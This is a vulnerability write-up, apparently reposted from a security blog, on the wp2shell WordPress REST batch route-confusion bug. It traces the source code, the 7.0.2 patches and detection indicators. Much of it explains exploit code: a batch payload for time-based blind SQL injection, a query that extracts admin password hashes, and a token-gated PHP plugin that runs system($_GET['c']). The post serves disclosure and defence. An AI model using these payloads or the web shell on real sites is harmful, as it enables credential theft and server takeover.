wp2shell - Code Trace Deep Dive
TL;DR: wp2shell chains an unauth SQLi that can be used to obtain the admin password and 2026-7-18 11:5:1 Author: blog.zsec.uk(查看原文) 阅读量:12 收藏

TL;DR: wp2shell chains an unauth SQLi that can be used to obtain the admin password and then login to upload a vulnerable plugin for RCE. This can then be chained with a myriad of privilege escalation bugs to obtain root on the WP server.

WordPress is one of the most common platforms out there for blogs and general sites, which is what makes it a prime target for researchers and adversaries alike. The codebase is mostly written in PHP and is on the 7th version with sub-versions and beta versions.

This week a new bug was found and documented by AssetNote with all new bugs it has a name wp2shell and carries two CVEs (so far); CVE-2026-63030 & CVE-2026-60137.

The bug itself as described in the CVE description is:

WordPress Core is vulnerable to Remote Code Execution in all versions 6.9 to 7.0.1 via the REST API batch request endpoint (/wp-json/batch/v1). This is due to a route/validation desynchronization that allows a validated sub-request to be dispatched to an unintended callback, bypassing the allow_batch restriction, with attacker-controlled parameters and the target route's input sanitization bypassed, which can be chained with SQL Injection. This may make it possible for attackers to execute code on the server.

So, spoiler alert it is possible to both chain the SQLi and get RCE but it's not as simple as one click pwn, for the moment it does take some steps and if you've got a strong admin password it'll take longer for attackers to exploit.

Code exec via plugin

I rarely write about PoCs but I wanted to test run my new exploit harness to see if I could pull together a PoC with minimal details, I firstly published a scanner last night that checks for the vulnerable version because nothing is worse than a PoC dropping on a Friday and I wanted to be immediately helpful to the broader community.

GitHub - ZephrFish/wp2shell-scanner: CVE-2026-63030, CVE-2026-60137, wp2shell scanner

CVE-2026-63030, CVE-2026-60137, wp2shell scanner. Contribute to ZephrFish/wp2shell-scanner development by creating an account on GitHub.

GitHubZephrFish

What it did do though was it got me thinking and patch diffing using the new harness to work out exactly where in the code the bugs existed and how they worked allowing for creation of functional PoCs to get SQL injection then code exec.

Affected Versions

Before going down the rabbit hole of patch diffing and analysis I first pulled down Docker images of the affected versions and the subsequent WordPress code (as it's available on GitHub) to pull together the scanner and also have a gander at the code. The advisory alerts to the following versions being affected:

Version Affected(?)
<= 6.8.5 Not affected or vulnerable at the time of writing
6.9.0 - 6.9.4 Affected and vulnerable
6.9.5 Fixed version on 6.9.0 branch
7.0.0 - 7.0.1 Affected and vulnerable
7.0.2 Fixed version

Tracing The Bug

The benefit to this bug being that WordPress is open-source it is relatively easy to obtain and step through the code looking for the vulnerable functions.

The confirmed exploit chain involves three related patch areas:

  1. A desynchronisation bug in the REST batch endpoint
  2. REST dispatch re-entry guards added as companion lifecycle hardening
  3. Unsafe scalar handling of author__not_in values in WP_Query

The REST batch bug allows a request object to be paired with a route handler selected for a different subrequest. This can cause execution with handler state that was not validated and sanitised for the current request object. One affected route maps attacker-controlled input into WP_Query, where a scalar value could reach an SQL construction path without integer coercion.

1. REST Batch Endpoint Registration

File:

wp-includes/rest-api/class-wp-rest-server.php

Relevant code:

103-125  WP_REST_Server::__construct()

The WP_REST_Server constructor registers /batch/v1 as a public REST route. The route accepts POST requests, requires a requests argument, and uses the following callback:

WP_REST_Server::serve_batch_request_v1()

The endpoint is intentionally accessible without authentication. Its security boundary therefore sits inside the processing of each subrequest:

  • Route matching
  • Batch eligibility checks
  • Parameter validation
  • Parameter sanitisation
  • Permission callbacks
  • Final callback dispatch

Each batch entry can contain attacker-controlled values for:

method
path
headers
query parameters
body parameters

The vulnerable behaviour begins when malformed and valid subrequests are processed together.

2. Batch Subrequest Parsing

File:

wp-includes/rest-api/class-wp-rest-server.php

Relevant code:

1709-1737  WP_REST_Server::serve_batch_request_v1()

The batch handler converts each supplied entry into a WP_REST_Request.

In WordPress 7.0.1, the relevant parsing logic was equivalent to:

$parsed_url = wp_parse_url( $args['path'] );

if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;
}

The surrounding control flow is:

1713       Parse the subrequest path
1715-1718  Append WP_Error when parsing fails
1721       Create WP_REST_Request for valid entries
1723-1727  Copy parsed query parameters
1729-1731  Copy body parameters
1737       Append the constructed request

A malformed path is represented as a WP_Error in the $requests array. This is intended to fail only the affected subrequest.

Instead, the error entry becomes the trigger for an index-alignment bug in the next processing stage.

3. Route Matching and Validation Desynchronisation

File:

wp-includes/rest-api/class-wp-rest-server.php

Relevant code:

1740-1797  Batch validation loop

The validation loop builds two parallel arrays:

$matches;
$validation;

Their intended relationship is:

$matches[$i] and $validation[$i] both describe $requests[$i]

$matches contains the selected route and handler. $validation contains the corresponding validation result.

In WordPress 7.0.1, malformed request entries were handled like this:

if ( is_wp_error( $single_request ) ) {
    $has_error    = true;
    $validation[] = $single_request;
    continue;
}

The branch appends an entry to $validation, but does not append anything to $matches.

The relevant control flow is:

1740-1748  Initialise the match and validation arrays
1744-1747  Append only to validation for WP_Error entries
1751-1775  Match routes and check allow_batch for valid requests
1778-1789  Run has_valid_params() and sanitize_params()
1792-1797  Append the validation result

After one malformed subrequest, the arrays no longer refer to the same requests:

requests:    [error, request A, request B]
validation:  [error, result A, result B]
matches:     [match A, match B]

The intended invariant has been broken. From this point onwards, a request can be executed using a route match generated for another subrequest.

Security impact

Normal batch processing should follow this sequence:

request[i]
  -> matched against route[i]
  -> validated against route[i]
  -> sanitised against route[i]
  -> executed by route[i]

The vulnerable sequence can become:

request[i]
  -> parameters shaped or validated for one route
  -> executed using another route's handler

This is a route-confusion issue rather than a universal authentication bypass.

respond_to_request() still invokes the selected handler's permission_callback. Exploitation therefore depends on identifying a route that:

  1. Has a permission callback that succeeds without authentication
  2. Accepts parameters that become dangerous when the target route's normal validation has been skipped
  3. Reaches a useful downstream sink

The bug also undermines the allow_batch check. Batch eligibility may be evaluated for one route while execution uses a handler selected for another.

Patch

WordPress 7.0.2 adds the missing $matches entry:

if ( is_wp_error( $single_request ) ) {
    $has_error    = true;
    $matches[]    = $single_request;
    $validation[] = $single_request;
    continue;
}

This restores the required index relationship:

$matches[$i] and $validation[$i] describe $requests[$i]

4. Batch Execution

File:

wp-includes/rest-api/class-wp-rest-server.php

Relevant code:

1820-1856  Batch execution loop

The execution loop iterates over the original $requests array. It skips malformed request objects, then retrieves the match and validation result using the current array index.

The relevant flow is:

1820-1825  Skip WP_Error request entries
1836-1840  Read $matches[$i] and $validation[$i]
1846-1856  Call respond_to_request()

The dispatch call is equivalent to:

$result = $this->respond_to_request(
    $single_request,
    $route,
    $handler,
    $error
);

This is where the earlier desynchronisation becomes a control-flow vulnerability.

The request object may contain parameters from one batch entry, while $route and $handler may describe another. The callback and permission callback are taken from the mismatched route handler, but they receive the current request object's parameters.

5. Public Posts REST Handler

File:

wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php

Relevant code:

160-170    get_items_permissions_check()
215-272    get_items() argument mapping
448-451    Prepare the query and invoke WP_Query
3004-3010  author_exclude schema

The posts collection endpoint permits unauthenticated reads when the request uses the public view context. This is expected WordPress behaviour for public posts.

The relevant permission method is:

get_items_permissions_check()

The route is therefore a suitable target for route confusion because its permission check can succeed without authentication.

Parameter mapping

get_items() maps REST collection parameters into internal WP_Query arguments.

The relevant mapping is:

'author_exclude' => 'author__not_in',

The REST schema defines author_exclude as an array of integer author IDs.

Under normal dispatch, the REST layer validates and sanitises the value before passing it to WP_Query:

author_exclude: array of integers
    ->
author__not_in: array of integers

The batch route-confusion bug can pair the posts callback with a request that was not validated against the posts route's schema. This allows a scalar value to reach author__not_in instead of the expected integer array.

6. SQL Construction in WP_Query

File:

wp-includes/class-wp-query.php

Relevant code:

2399-2405  author__not_in SQL construction

In WordPress 7.0.1, author__not_in was normalised only when the supplied value was already an array:

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique(
            array_map( 'absint', $query_vars['author__not_in'] )
        );

        sort( $query_vars['author__not_in'] );
    }

    $author__not_in = implode(
        ',',
        (array) $query_vars['author__not_in']
    );

    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Array input was passed through absint(), which reduced every element to an integer.

Scalar input followed a different path:

  1. is_array() returned false
  2. Integer coercion was skipped
  3. The scalar was cast to an array only for implode()
  4. The resulting string was inserted into the SQL fragment

The generated clause was:

post_author NOT IN (<value>)

The vulnerable condition was therefore not simply the existence of author__not_in. It required a scalar value to reach this internal query argument without the REST posts controller's expected schema validation.

The REST batch route-confusion bug provided that path.

This sink is classified as:

CWE-89: Improper Neutralisation of Special Elements used in an SQL Command

7. author__not_in Patch

WordPress 7.0.2 normalises the input unconditionally with wp_parse_id_list():

$author__not_in_id_list = wp_parse_id_list(
    $query_vars['author__not_in']
);

if ( count( $author__not_in_id_list ) > 0 ) {
    sort( $author__not_in_id_list );

    $where .= sprintf(
        " AND {$wpdb->posts}.post_author NOT IN (%s) ",
        implode( ',', $author__not_in_id_list )
    );

    $query_vars['author__not_in'] = $author__not_in_id_list;
}

This moves the defensive check to the SQL sink boundary.

Even if a caller supplies an unexpected scalar, WP_Query now converts the value into a list of integer IDs before constructing SQL. The fix no longer relies entirely on every upstream caller applying the correct schema validation.

This provides defence in depth against other paths that may populate author__not_in directly.

8. REST Dispatch Re-entry

WordPress 7.0.2 also adds guards against starting a new REST serving cycle while another REST request is being dispatched.

Loader-level guard

File:

wp-includes/rest-api.php

Relevant code:

440-474  rest_api_loaded()

In WordPress 7.0.1, rest_api_loaded():

  1. Initialised the global REST server
  2. Called serve_request()
  3. Echoed the result
  4. Terminated normal request processing

It did not check whether a REST dispatch was already active.

WordPress 7.0.2 adds:

if (
    isset( $GLOBALS['wp_rest_server'] )
    && $GLOBALS['wp_rest_server'] instanceof WP_REST_Server
    && $GLOBALS['wp_rest_server']->is_dispatching()
) {
    return;
}

Server-level guard

File:

wp-includes/rest-api/class-wp-rest-server.php

Relevant code:

285-286  WP_REST_Server::serve_request()

The server method now performs its own check:

if ( $this->is_dispatching() ) {
    return false;
}

Applying the check at both levels prevents alternate call paths from bypassing the protection in rest_api_loaded().

These guards prevent nested top-level REST processing from beginning while the server is already inside a dispatch. This reduces the risk of global REST state being reused or mutated recursively during an active request.

The change should be treated as a trust-boundary fix rather than a simple control-flow cleanup. REST serving is expected to have one active top-level dispatch context. Re-entering that context can create inconsistencies between global request state, route matching, and nested batch processing.

Patch Summary

WordPress 7.0.2 addresses the vulnerability at three boundaries.

Batch processing

The patch keeps $matches, $validation, and $requests aligned when a malformed subrequest is encountered:

$matches[]    = $single_request;
$validation[] = $single_request;

REST lifecycle

The patch prevents REST serving from being re-entered during an active dispatch:

$this->is_dispatching()

SQL sink

The patch normalises author__not_in at the point where it is used to construct SQL:

wp_parse_id_list( $query_vars['author__not_in'] )

Together, these changes restore the expected request-to-handler relationship, prevent nested dispatch state confusion, and ensure that unexpected values cannot be inserted directly into the author__not_in SQL clause.

Writing an Exploit

So knowing where the bugs existed it is trivial to write exploit code to pop the SQL Injection and then chain it to upload a vulnerable plugin to achieve full remote code execution on the underlying server.

I wrote a Python PoC that is split into two distinct stages:

  1. Trigger the REST batch route-confusion bug and use it to reach the author__not_in SQL sink.
  2. Use recovered or otherwise known administrator credentials to authenticate normally and upload a PHP plugin for command execution.

The first stage is the pre-authentication vulnerability whereas the second just chains on authenticating and uploading a plugin. Note the following sections walk through how the PoC has been constructed and what each section does rather than just drop a script for AI or Skids.

Building the malformed batch request

The main trigger is created in BlindSQLi._payload():

def _payload(self, condition):
    inject = "SELECT IF((%s),SLEEP(%s),0)" % (
        condition,
        self.delay
    )

    query = urllib.parse.urlencode({
        "author_exclude": inject
    })

    return {
        "requests": [
            {"method": "POST", "path": "http://:"},
            {
                "method": "POST",
                "path": "/wp/v2/posts",
                "body": {
                    "requests": [
                        {"method": "GET", "path": "http://:"},
                        {
                            "method": "GET",
                            "path": "/wp/v2/categories?" + query
                        },
                        {
                            "method": "GET",
                            "path": "/wp/v2/posts"
                        },
                    ]
                }
            },
            {"method": "POST", "path": "/batch/v1"},
        ]
    }

The malformed http://: entries are used to force wp_parse_url() to fail. WordPress stores each failed subrequest as a WP_Error.

In the vulnerable batch validation loop, an error entry is appended to $validation but not to $matches:

if ( is_wp_error( $single_request ) ) {
    $has_error    = true;
    $validation[] = $single_request;
    continue;
}

From that point onwards, the arrays no longer refer to the same subrequest index.

The PoC arranges the remaining entries so that a request object shaped as one route is dispatched using route and handler state selected for a later posts request.

Conceptually, the shift produces a pairing similar to:

Request object:
    /wp/v2/categories?author_exclude=<scalar value>

Selected handler:
    WP_REST_Posts_Controller::get_items()

The categories route is not itself vulnerable but it is being used as a carrier for attacker-controlled parameters. In this instance, the vulnerability is that the batch execution loop can combine that request object with handler state belonging to the posts collection route.

Bypassing the expected posts parameter schema

Under normal dispatch, the posts route defines author_exclude as an array of integers.

The REST layer should validate and sanitise the value before the posts controller sees it:

author_exclude=[1,2,3]
    |
    v
validated as an integer array
    |
    v
mapped to author__not_in

The confused dispatch breaks that assumption. The request object reaches the posts handler without having passed through the posts route's expected parameter schema enforcement.

The PoC therefore supplies author_exclude as a scalar:

query = urllib.parse.urlencode({
    "author_exclude": inject
})

The posts controller maps that value directly into the internal query argument:

'author_exclude' => 'author__not_in',

This leaves WP_Query receiving an unexpected scalar value where it normally expects an array of author IDs.

Reaching the SQL sink

The vulnerable WP_Query code only normalises author__not_in when it is already an array:

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique(
            array_map(
                'absint',
                $query_vars['author__not_in']
            )
        );

        sort( $query_vars['author__not_in'] );
    }

    $author__not_in = implode(
        ',',
        (array) $query_vars['author__not_in']
    );

    $where .=
        " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

For legitimate array input, every value is passed through absint().

For scalar input, is_array() returns false which means that integer coercion is skipped, and the value is only cast to an array when passed to implode().

The result is that a scalar reaches construction of the NOT IN clause without integer normalisation.

The PoC uses that condition to supply a time-based database expression:

inject = "SELECT IF((%s),SLEEP(%s),0)" % (
    condition,
    self.delay
)

The resulting SQL fragment is conceptually equivalent to:

post_author NOT IN (
    SELECT IF((condition), SLEEP(delay), 0)
)

The underlying weakness is not limited to this particular expression and there are likely others that are vulnerable due to the vulnerable sink failing to normalise unexpected scalar input before constructing SQL. The PoC uses a conditional delay because it provides a reliable Boolean signal without requiring query output to appear in the HTTP response.

Confirming the SQL injection

The PoC sends the batch payload and measures how long the request takes:

def _once(self, condition):
    data = json.dumps(
        self._payload(condition)
    ).encode()

    req = urllib.request.Request(
        self.url,
        data=data,
        headers={
            "Content-Type": "application/json"
        },
        method="POST"
    )

    start = time.perf_counter()

    with urllib.request.urlopen(
        req,
        timeout=self.timeout
    ) as resp:
        resp.read()

    return time.perf_counter() - start

Calibration compares a condition that is always false with one that is always true:

fast = statistics.median(
    self.probe("1=0")
    for _ in range(rounds)
)

slow = statistics.median(
    self.probe("1=1")
    for _ in range(rounds)
)

self.cutoff = (fast + slow) / 2

When the condition is false, the database returns immediately whereas when the condition is true, SLEEP() delays the query. That delay propagates through WP_Query, the REST handler, and the HTTP response.

Later probes are treated as true when their response time exceeds the calibrated threshold:

def yes(self, condition):
    if self.cutoff is None:
        self.calibrate()

    return self.probe(condition) > self.cutoff

A successful timing differential confirms that the complete path is reachable:

Public batch endpoint
    |
    v
Malformed path becomes WP_Error
    |
    v
$matches and $validation desynchronise
    |
    v
Request object is dispatched with shifted posts handler state
    |
    v
Posts schema enforcement is bypassed
    |
    v
author_exclude maps to author__not_in
    |
    v
Scalar reaches SQL construction without integer coercion
    |
    v
Database delay affects the HTTP response time

A failed timing check is not proof that the target is patched as things like network jitter, database behaviour, request filtering, timeouts, backported fixes, disabled REST routes, or intermediary controls can all interfere with time-based detection.

After confirming the SQL injection, the PoC converts the timing signal into a blind data-extraction channel.

It first determines the length of an expression using binary comparisons:

if self.yes(
    "CHAR_LENGTH(%s) >= %d" % (
        value,
        mid
    )
):
    low = mid
else:
    high = mid - 1

It then extracts each character using comparisons against its ASCII value:

cond = (
    "ASCII(SUBSTRING(%s,%d,1)) >= %d"
    % (value, pos, mid)
)

Each comparison sends another malformed batch request. The response time reveals whether the database condition evaluated as true or false.

The supplied presets include database metadata and a WordPress credential query:

"users": (
    "SELECT CONCAT_WS(0x3a,user_login,user_pass) "
    "FROM %susers ORDER BY ID ASC LIMIT 1"
    % p
)

This attempts to recover:

username:password_hash

Selecting the lowest user ID is based on the common pattern that the first WordPress account is an administrator. That assumption is not guaranteed. The account may have been removed, renamed, demoted, or assigned a different role.

At this point, the pre-authentication vulnerability has provided database disclosure. It has not yet executed operating-system commands.

0:00

/0:54

Moving from SQL injection to RCE

The shell command takes a plaintext administrator password:

ps.add_argument(
    "--password",
    required=True,
    help="plaintext admin password"
)

The intended chain is:

Blind SQL injection
    |
    v
Administrator username and password hash recovered
    |
    v
Password recovered offline
    |
    v
Normal WordPress administrator login

The password-cracking step is not implemented by the PoC but you can do this with hashcat pretty easily.

The core bug provides unauthenticated SQL injection, the latter chain just gets execution working via admin UI.

Authenticating to WordPress

The PoC creates a cookie-aware HTTP client and submits the credentials through the normal login endpoint:

get("/wp-login.php")

post("/wp-login.php", {
    "log": args.user,
    "pwd": args.password,
    "wp-submit": "Log In",
    "redirect_to": base + "/wp-admin/",
    "testcookie": "1",
})

Successful authentication is detected by checking for a WordPress login cookie:

if not any(
    c.name.startswith("wordpress_logged_in")
    for c in cj
):
    print("[-] login failed")

There is no authentication bypass here and the auth is via the obtained admin password, the poc simply uses valid credentials obtained through the earlier database disclosure.

Creating the command-execution plugin

The PoC builds a ZIP archive containing a small PHP plugin:

def _build_plugin_zip(slug, token):

The generated file includes a random token and a command parameter:

$__t = '<random token>';

if (
    isset($_GET['tok'])
    && hash_equals(
        $__t,
        (string) $_GET['tok']
    )
) {
    if (isset($_GET['c'])) {
        echo "WP2SHELL_OUT_START\n";
        system($_GET['c']);
        echo "\nWP2SHELL_OUT_END";
    }

    exit;
}

The actual operating-system command execution happens here:

system($_GET['c']);

The token limits access to callers that know the randomly generated value. It does not change the fact that the uploaded file is a command-execution payload.

The archive uses a normal plugin directory structure:

<random-slug>/
└── <random-slug>.php

Uploading the plugin

After authentication, the PoC requests the standard plugin upload page:

upload_page = get(
    "/wp-admin/plugin-install.php?tab=upload"
)

It extracts the _wpnonce value from the page:

nonce = _nonce(upload_page)

The ZIP is then submitted to the standard WordPress installer:

/wp-admin/update.php?action=upload-plugin

The request includes the valid administrator session, upload nonce, and plugin archive.

This stage uses legitimate WordPress administrator functionality; It depends on the compromised account having the install_plugins capability and the WordPress installation allowing filesystem modifications.

Controls such as the following can break this part of the chain:

define( 'DISALLOW_FILE_MODS', true );

The upload can also fail where the plugin directory is not writable, WordPress requires separate filesystem credentials, or security controls block plugin installation.

Executing the uploaded PHP file

The PoC does not activate the plugin. Instead, it requests the uploaded PHP file directly:

shell_path = (
    "/wp-content/plugins/%s/%s.php"
    % (slug, slug)
)

Plugin activation controls whether WordPress loads a plugin during normal application bootstrap, it does not necessarily prevent the web server from executing a PHP file beneath wp-content/plugins when that file is requested directly.

The command and token are sent as query parameters:

q = urllib.parse.urlencode({
    "tok": token,
    "c": cmd
})

The request is conceptually:

GET /wp-content/plugins/<slug>/<slug>.php
    ?tok=<token>
    &c=<command>

The web server passes the file to PHP, the token check succeeds, and the command reaches:

system($_GET['c']);

The command runs under the operating-system identity assigned to the PHP worker, commonly an account such as:

www-data
apache
nginx

This provides remote command execution as the web application user which is usually www-data:

RCE Preconditions

The complete chain only succeeds when several conditions are met:

  • The REST batch route-confusion vulnerability is present.
  • The vulnerable author__not_in SQL construction is reachable.
  • The time-based database expression is supported.
  • A privileged WordPress username and password hash can be extracted.
  • The password can be recovered or is already known.
  • The account can authenticate without an additional challenge.
  • The account has permission to install plugins.
  • WordPress allows file modifications.
  • The plugin directory is writable.
  • PHP files beneath the plugin directory are directly executable.
  • PHP's system() function is available.
  • The PHP worker has sufficient operating-system permissions for the intended command.

IoCs, Fixes and Defence

At the time of writing there are lots of PoCs out there on GitHub and many do the full SQLi -> RCE chain. Exploitation is primarily visible at the WordPress REST batch endpoint:

POST /wp-json/batch/v1

Sites without pretty permalinks may instead use:

POST /?rest_route=/batch/v1

REST batch exploitation attempts

Look for JSON request bodies containing:

  • Nested requests arrays
  • Malformed placeholder paths such as http://: or http::
  • Requests that combine /wp/v2/categories/wp/v2/posts, and /batch/v1
  • An author_exclude parameter containing SQL syntax

The malformed paths are used to trigger the batch route-confusion desynchronisation. A representative request structure may contain entries similar to:

{
  "requests": [
    {
      "method": "POST",
      "path": "http://:"
    },
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          {
            "method": "GET",
            "path": "http://:"
          }
        ]
      }
    }
  ]
}

The SQL injection is carried through the author_exclude parameter. Common time-based extraction fragments include:

SELECT IF((...),SLEEP(...),0)
CHAR_LENGTH(...)
ASCII(SUBSTRING(...))

URL encoding may obscure these strings in raw access logs, so detection should inspect both encoded and decoded request parameters.

Because extraction is blind and time-based, exploitation produces repeated requests rather than a single response containing database contents. Expect bursts of dozens or hundreds of near-identical POST requests to the batch endpoint from the same source address.

Many requests may also show elevated response times where the injected condition causes SLEEP() to execute.

User-Agent indicators

The supplied PoC uses the following User-Agent during scanning and SQL injection, however as we know all too well this can be easily manipulated:

wp2shell-check/1.0

The authenticated RCE stage uses:

wp2shell-poc/1.0

These are strong indicators for this specific tool, but they are trivial to remove or spoof. They should not be used as the only detection condition.

Authentication and plugin upload activity

If the attack proceeds beyond SQL injection, the next stage uses recovered or otherwise known administrator credentials.

Look for the following sequence:

POST /wp-login.php

followed by:

POST /wp-admin/update.php?action=upload-plugin

The plugin upload is sent as multipart/form-data. The PoC generates a boundary beginning with:

----wp2shell

The uploaded ZIP filename follows this pattern:

wp2shell-<8 hexadecimal characters>.zip

For example:

wp2shell-a1b2c3d4.zip

This sequence is particularly suspicious when it occurs shortly after repeated REST batch requests from the same source or session.

Filesystem indicators

A successful upload creates a plugin directory beneath:

wp-content/plugins/

The generated path follows this pattern:

wp-content/plugins/wp2shell-<random>/wp2shell-<random>.php

For example:

wp-content/plugins/wp2shell-a1b2c3d4/wp2shell-a1b2c3d4.php

The PHP file contains the following plugin description:

AUTHORIZED wp2shell RCE PoC. Token-gated; self-deletes on ?rm=1.

It also contains a call to:

system($_GET['c']);

Any file matching the following pattern should be treated as evidence of compromise:

wp-content/plugins/wp2shell-*

The file may delete itself after execution, so the absence of the file does not rule out exploitation. Investigators should also check:

  • File creation and deletion telemetry
  • Web server access logs
  • PHP-FPM logs
  • Endpoint detection telemetry
  • File integrity monitoring
  • Backups and filesystem snapshots
  • Temporary upload directories

The plugin directory may remain even when the PHP file has removed itself.

Command execution requests

The uploaded PHP file is invoked directly rather than activated as a WordPress plugin.

Command execution appears as a GET request to:

/wp-content/plugins/wp2shell-<random>/wp2shell-<random>.php

The query string contains:

?tok=<token>&c=<command>

For example:

GET /wp-content/plugins/wp2shell-a1b2c3d4/wp2shell-a1b2c3d4.php?tok=<token>&c=id

The response wraps command output between these literal markers:

WP2SHELL_OUT_START
WP2SHELL_OUT_END

These strings may appear in:

  • HTTP response capture
  • Reverse-proxy logs
  • WAF telemetry
  • Debug logs
  • Network monitoring
  • Cached responses

Their presence indicates that the uploaded command-execution file was successfully reached.

Cleanup indicators

The PoC attempts to remove the uploaded PHP file using:

?tok=<token>&rm=1

A successful cleanup request returns:

WP2SHELL_REMOVED

Relevant log patterns include:

GET /wp-content/plugins/wp2shell-*/wp2shell-*.php?tok=*&rm=1

Successful self-deletion removes the main PHP payload but does not remove all evidence of compromise. Authentication records, upload requests, command requests, process execution events, and web server logs may remain.

High-confidence indicators

The following should be treated as high-confidence indicators of attempted or successful exploitation:

POST requests to /wp-json/batch/v1 or /?rest_route=/batch/v1
Nested requests arrays combined with malformed http://: or http:: paths
author_exclude values containing SELECT IF, SLEEP, CHAR_LENGTH, or SUBSTRING
Large bursts of similar batch requests with timing variation
User-Agent wp2shell-check/1.0
User-Agent wp2shell-poc/1.0
Multipart boundaries beginning ----wp2shell
Plugin ZIP names matching wp2shell-<8-hex>.zip
Files or directories beneath wp-content/plugins/wp2shell-*
Requests containing ?tok=<token>&c=<command>
Responses containing WP2SHELL_OUT_START or WP2SHELL_OUT_END
Cleanup requests containing &rm=1
Responses containing WP2SHELL_REMOVED

The strongest evidence of confirmed compromise is the presence of an uploaded wp2shell-* PHP file, command execution markers, or process telemetry showing commands spawned by the PHP worker.


文章来源: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
如有侵权请联系:admin#unsafe.sh